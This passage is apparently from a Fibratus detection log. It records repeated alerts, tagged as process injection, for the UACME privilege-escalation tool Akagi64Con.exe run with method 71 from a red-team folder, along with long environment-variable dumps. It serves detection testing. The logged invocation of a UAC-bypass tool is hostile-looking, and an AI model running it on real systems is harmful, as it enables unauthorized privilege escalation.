windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:39+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11011143 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.1186401 +0100 CET + Params: base_address➜ 7ffcbbbe0000, checksum➜ 0, default_address➜ 7ffcbbbe0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe, image_size➜ 1708032, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:39+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11011143 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.1186401 +0100 CET + Params: base_address➜ 7ffcbbbe0000, checksum➜ 0, default_address➜ 7ffcbbbe0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe, image_size➜ 1708032, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.seq.link: 9665569474375319552, technique.id: T1055 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:41+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PerfWatson2\8998368ba5c1831b2db76cfb187b85a4\PerfWatson2.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11014041 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.330145 +0100 CET + Params: base_address➜ 7ffcd66f0000, checksum➜ 0, default_address➜ 7ffcd66f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PerfWatson2\8998368ba5c1831b2db76cfb187b85a4\PerfWatson2.ni.exe, image_size➜ 147456, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows 